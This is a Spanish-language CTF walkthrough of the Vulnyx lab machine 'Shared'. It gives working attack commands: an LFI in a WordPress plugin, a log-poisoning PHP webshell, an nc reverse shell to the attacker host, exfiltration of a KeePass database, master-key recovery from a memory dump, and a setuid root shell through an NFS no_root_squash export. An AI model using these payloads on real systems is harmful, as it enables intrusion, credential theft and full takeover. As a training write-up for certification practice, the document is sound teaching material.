Shared Vulnyx
Introducción
En esta máquina de Vulnyx, Shared, nos enfrentamos a un escenario centrado en la enumeración de servicios web y de red para encadenar varias vulnerabilidades hasta la toma completa del sistema. Partiremos de una instalación de WordPress protegida por virtual hosting, donde explotaremos un LFI en un plugin vulnerable (CVE-2018-7422) y lo derivaremos a un RCE mediante Log Poisoning sobre los logs de Apache2, consiguiendo así el acceso inicial a la máquina.
Durante la escalada de privilegios tocaremos varias piezas interesantes: la extracción de una base de datos de contraseñas KeePass a partir de un volcado de memoria (CVE-2023-32784), y finalmente el abuso de una configuración insegura de NFS (no_root_squash) para obtener una shell con permisos de root.
Por la variedad de técnicas que combina (LFI, Log Poisoning, forense ligero sobre un volcado de memoria y abuso de NFS), esta máquina es un buen ejercicio de dificultad media para seguir reforzando la metodología de cara a la eJPTv2 y certificaciones similares.
Fase de Reconocimiento
Esta máquina, al iniciarse, ya muestra en el panel de login de la consola cierta información, entre ella su dirección de red, por lo que podemos ahorrarnos la fase de identificación del objetivo en la red.
Escaneo de puertos
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.0.2.22 -oN allPorts
1
grep '^[0-9]' allPorts | cut -d '/' -f1 | xargs | sort | tr ' ' ','
1
nmap -p22,80,111,2049,41445,43639,49905,52117,55147 -sCV 10.0.2.22 -oN targeted
Tras el escaneo de puertos encontramos un servicio SSH (no vulnerable a enumeración de usuarios >7.7), un servicio HTTP por el puerto 80 desplegado con Apache2, el puerto 111 correspondiente al servicio rpcbind y el puerto 2049 correspondiente al servicio NFS. Estos son los puertos que más nos deben llamar la atención y debemos enumerar a continuación.
Enumeración
Enumeración de servicio HTTP
1
whatweb http://10.0.2.22
1
nmap -p80 --script http-enum 10.0.2.22 -oN webScan
La enumeración con el script de nmap http-enum nos reporta que parece haber una página de login para el CMS WordPress… Vamos a acceder a través del navegador y validar esta información.
De primeras parece una instalación por defecto de Apache2; si accedemos a la ruta que reportaba nmap (/wordpress/wp-login.php):
Encontramos esta página de login en la que los recursos no están cargando correctamente, por lo que nos hace pensar inmediatamente en que se está aplicando virtual hosting. Si echamos un vistazo al código fuente para tratar de ver de qué dominio intenta cargar los recursos de la web, vemos:
Encontramos el dominio “shared.nyx”, por lo que vamos a añadirlo al archivo /etc/hosts para que nuestra máquina sepa resolverlo.
Ahora, si recargamos la página web:
Todo carga correctamente. Bien, antes de nada vamos a aplicar fuzzing para tratar de encontrar archivos y rutas en la web.
1
feroxbuster -u http://10.0.2.22 -w /usr/share/SecLists-master/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 40
Con este comando descubrimos muchas rutas dentro del gestor de contenido, entre las que destacamos: /wordpress/wp-admin/, /wordpress/backups/, /wordpress/wp-content/uploads/, entre otras. Vamos a echar un vistazo a la página principal /wordpress:
En las pestañas de arriba vemos una sección “Contact us” en la que encontramos un formulario en el que podemos meter nuestro input como usuario, y tendremos que validar cómo reacciona el servidor a este.
Antes de nada, como estamos ante un WordPress, vamos a utilizar la herramienta específica wpscan para enumerarlo.
Enumeración de WordPress
1
wpscan --url http://shared.nyx/wordpress -e vp,u --api-token="token"
Este escaneo nos reporta mucha información relevante, como:
Entre lo descubierto cabe destacar la versión de WordPress correspondiente a la 6.4.2, y que la herramienta nos indica que al menos tiene treinta y tres vulnerabilidades conocidas. Podemos validar esta información por nuestro lado ejecutando una búsqueda con searchsploit.
1
searchsploit wordpress 6.4.2
No encontramos nada que nos llame especialmente la atención por esta vía; vamos a echar un vistazo a las vulnerabilidades reportadas por la herramienta. De cara a los plugins, nos reporta que se está utilizando un plugin vulnerable a LFI, “Site Editor”. Vamos a echarle un vistazo en searchsploit.
1
searchsploit wordpress plugin site editor
1
searchsploit -x php/webapps/44340.txt
Enumeración de servicio NFS
Antes de ver realmente si el gestor de contenido es vulnerable, vamos a enumerar un poco el servicio NFS:
1
showmount -e 10.0.2.22
Vemos que hay varias carpetas compartidas en red y que cualquiera puede acceder a ellas (asterisco); vamos a montarlas en nuestro equipo una a una y echar un vistazo a su contenido.
1
mount -t nfs 10.0.2.22:/shared/j4ckie /mnt/NFS
Encontramos ese archivo sin relevancia para el CTF.
1
mount -t nfs 10.0.2.22:/shared/condor /mnt/NFS
Más de lo mismo, otro archivo sin relevancia para el CTF.
1
mount -t nfs 10.0.2.22:/shared/tmp /mnt/NFS
Esta última compartición en red no contiene ningún archivo. No sacamos nada relevante de este servicio NFS, es un rabbithole. Vamos a tratar de explotar el LFI.
Explotación
Explotación de LFI CVE-2018-7422
Vamos a validar si este servidor es vulnerable a este LFI:
1
http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
Efectivamente es vulnerable y podemos listar el contenido del archivo /etc/passwd. De este archivo sacamos tres usuarios del sistema: “j4ckie”, “condor” y “jackondor”. En este punto lo interesante sería tener capacidad de lectura en algún archivo de logs, aprovechando que esta máquina cuenta tanto con el servicio SSH como con el HTTP desplegado con Apache2, para tratar de ejecutar un Log Poisoning.
Podemos tratar de incluir estos archivos con el LFI:
1
http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log
Antes de ver si somos capaces de incluir el archivo /var/log/apache2/access.log, vamos a mandar alguna petición reconocible para que la identifiquemos a simple vista, por ejemplo:
1
curl -s -X GET "http://shared.nyx/wordpress/" -H "User-Agent: PWNED"
Una vez hecho, probamos a incluir el archivo:
1
http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log
¡Bien! Somos capaces de incluir el archivo y controlar el contenido del campo User-Agent de la petición HTTP, por lo que podemos inyectar código php para tratar de que el servidor lo interprete.
Log Poisoning (Apache2)
Sabiendo esto, podemos tratar de conseguir una webShell para ganar acceso a la máquina.
1
curl -s -X GET "http://shared.nyx/wordpress/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
Desde la URL le pasamos al parámetro “cmd” el comando a ejecutar:
1
http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log&cmd=id
Y bien, conseguimos explotar el Log Poisoning derivando el LFI a un RCE, de forma que podemos llevar a cabo la intrusión a la máquina víctima mediante una reverse shell. Para ello:
1
2
# nos ponemos en escucha en nuestra máquina atacante
nc -nlvp 443
Y lanzamos la petición maliciosa:
1
http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log&cmd=nc -e /bin/bash 10.0.2.13 443
De esta forma conseguimos completar la intrusión a la máquina víctima. Antes de continuar vamos a aplicar un tratamiento de la TTY.
Tratamiento de la TTY
1
2
3
4
5
script /dev/null -c bash
# ctrl + z
stty raw -echo;fg
export TERM=xterm SHELL=bash
stty rows 53 columns 206
Escalada de privilegios
Enumeración local
1
grep 'sh$' /etc/passwd
Bien, en este punto, con acceso a la máquina víctima, si recordamos, durante la enumeración del servidor web encontramos un directorio /backups al que no teníamos acceso; vamos a acceder a él desde la misma máquina para ver su contenido.
1
find / -name "*backups" -ls 2>/dev/null
Vamos a acceder al directorio /backups, sobre el que tenemos permisos como usuario www-data.
Nos llama la atención el archivo “cp-sharedbbdd.zip”, parece que puede contener credenciales de una base de datos o algo relacionado. Vamos a descomprimirlo y ver su contenido:
1
unzip cp-sharedbbdd.zip
Contiene un archivo “.kdbx” perteneciente a una base de datos de contraseñas de KeePass; con esto podemos tratar de crackear el hash de la contraseña maestra y acceder al contenido.
Transferencia de archivos desde máquina víctima a nuestra máquina atacante
Lo primero será pasarnos este archivo a nuestra máquina atacante, en este caso lo haré con nc:
1
2
# desde nuestra máquina atacante
nc -nlvp 4444 > sharedbbdd.kdbx
1
nc 10.0.2.13 4444 < sharedbbdd.kdbx
Una vez tenemos el archivo, aplicamos el ataque de fuerza bruta:
1
keepass2john sharedbbdd.kdbx > hash
1
hashcat -m 13400 -a 0 hash /usr/share/wordlists/rockyou.txt
Tras recorrer todo el diccionario rockyou.txt, no encontramos ninguna contraseña válida; era un rabbithole.
Extracción de Clave Maestra de KeePass vía Volcado de Memoria (CVE-2023-32784)
Sabiendo esto, ¿qué podemos hacer? Bueno, si nos fijamos en los archivos que obtenemos al descomprimir el archivo, también se nos da “KeePass.DMP”, un archivo .dmp. Un archivo .dmp es una copia exacta de la memoria RAM del proceso de KeePass en el momento en que se generó el volcado.
Existen herramientas que extraen directamente la clave maestra de este volcado de memoria; de hecho, tiene un CVE asignado, el CVE-2023-32784, por lo que podemos realizar la búsqueda en internet de “keepass dump exploit”. De entre todos los resultados, utilizaremos este repositorio de GitHub, que nos comparte una herramienta para llevar a cabo la labor que comentábamos antes: extraer la credencial del volcado de memoria. Sabiendo esto, la descargamos:
1
wget https://raw.githubusercontent.com/z-jxy/keepass_dump/refs/heads/main/keepass_dump.py
Y la ejecutamos pasándole el archivo de volcado de memoria.
1
python3 keepass_dump.py -f KeePass.DMP
De esta manera logramos extraer la credencial maestra de KeePass, al menos en su mayoría, ya que el primer carácter no fue capaz de averiguarlo. Aunque, teniendo en cuenta el nombre de la máquina, creo que podemos deducirlo…
Quedaría instalarnos un gestor de contraseñas compatible, como keepassxc o keepass2, y acceder a la base de datos de credenciales. Una vez instalado, utilizamos la credencial Shared123% y lograríamos acceder:
Conseguimos las credenciales de los tres usuarios del sistema; teniendo en cuenta que jackondor cuenta con una nota que pone “Notes”, pivotaremos primero hacia él.
1
su jackondor
Efectivamente, es válida y conseguimos la primera flag de usuario. Vamos a echar un vistazo al resto de usuarios.
Parece que la única credencial válida es la del usuario “jackondor”, por lo que vamos a enumerar el sistema desde su contexto para tratar de escalar privilegios.
Abuso de no_root_squash (NFS)
Si recordamos los resultados de los escaneos de puertos y servicios que corren en la máquina víctima, teníamos un servicio NFS que compartía varias carpetas en red y, a priori, parecía un rabbithole ya que no se nos compartía nada interesante. Vamos a echar un vistazo a los ficheros de configuración de este servicio, en concreto al /etc/exports:
1
cat /etc/exports
Para la carpeta /shared/tmp establecieron un parámetro que nos debería llamar especialmente la atención: no_root_squash. Normalmente, en configuraciones de este servicio se suele aplicar una protección llamada root_squash, que sirve para que, aunque como cliente del recurso compartido accedas como un usuario con privilegios y ejecutes operaciones con ese usuario en tu máquina, el servidor transforme esas operaciones para que se ejecuten en el recurso compartido como un usuario sin privilegios, normalmente nobody.
Sabiendo esto y viendo la opción de configuración que tiene establecida este recurso, podemos intuir por dónde van los tiros: si montamos este recurso en nuestra máquina atacante, accedemos como root y, por ejemplo, creamos un script con permisos suid que ejecutemos posteriormente en la máquina víctima, esa ejecución conservará los privilegios del usuario de la máquina cliente en el servidor. Por lo tanto, lo ejecutaríamos como usuario root en el servidor, teniendo así un vector para escalar privilegios.
Así que vamos a ello: primero nos montamos el recurso con la configuración insegura en nuestra máquina atacante:
1
mount -t nfs 10.0.2.22:/shared/tmp /mnt/NFS
Y, por ejemplo, para evitar problemas de dependencias y demás, crearemos un script en C que ejecute una shell bash, lo compilaremos y posteriormente le asignaremos permisos suid.
1
cd /mnt/NFS
1
2
3
4
5
6
7
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
Lo compilamos:
1
2
gcc -static privesc.c -o bash
chmod +sx bash
Desde el servidor, si vemos el contenido de la carpeta compartida:
Obtenemos un binario que nos spawnea una bash con permisos suid y que, por lo tanto, podemos utilizar para escalar privilegios.
1
./bash -p
De esta forma habríamos obtenido la flag de root y completado la máquina Shared de Vulnyx!!










































